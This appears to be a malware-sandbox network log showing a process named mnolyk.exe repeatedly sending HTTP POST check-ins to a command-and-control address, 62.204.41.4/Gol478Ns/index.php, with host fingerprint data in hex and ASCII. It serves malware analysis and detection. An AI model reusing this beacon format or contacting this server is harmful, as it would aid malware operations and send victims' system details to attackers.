Feb 6, 2023 18:38:00.687932014 CET	912	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:00.751907110 CET	912	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.7	50181	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:00.930274963 CET	913	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:00.995223045 CET	913	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.7	50182	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:01.180151939 CET	914	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:01.245896101 CET	914	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.7	50183	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:01.423474073 CET	915	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:01.488751888 CET	915	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.7	50184	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:01.659964085 CET	916	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:01.723052025 CET	916	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.7	50185	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:01.897078991 CET	917	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:01.960419893 CET	917	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.7	50186	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:02.145296097 CET	918	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:02.211823940 CET	918	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.2.7	50187	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:02.390913010 CET	919	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:02.453962088 CET	919	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	49770	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:08.800627947 CET	478	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:08.866245985 CET	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.7	50188	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:02.626277924 CET	920	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:02.690078020 CET	920	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.7	50189	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:02.860152006 CET	921	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:02.926038027 CET	921	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.2.7	50190	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:03.117137909 CET	922	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:03.186362982 CET	922	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.7	50191	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:03.374136925 CET	923	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:03.439101934 CET	923	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.2.7	50192	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:03.610611916 CET	924	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:03.675545931 CET	924	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.2.7	50193	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:03.846257925 CET	925	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:03.912359953 CET	925	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.7	50194	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:04.099905968 CET	926	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:04.165308952 CET	926	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	192.168.2.7	50195	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:04.351511002 CET	927	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:04.417937040 CET	927	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.7	50196	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:04.592802048 CET	928	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:04.661218882 CET	928	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.2.7	50197	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:04.844993114 CET	929	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:04.909439087 CET	929	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	49771	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:09.033958912 CET	479	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:09.099214077 CET	479	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.7	50198	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:05.080347061 CET	930	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:05.149249077 CET	930	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.2.7	50199	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:05.327038050 CET	931	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
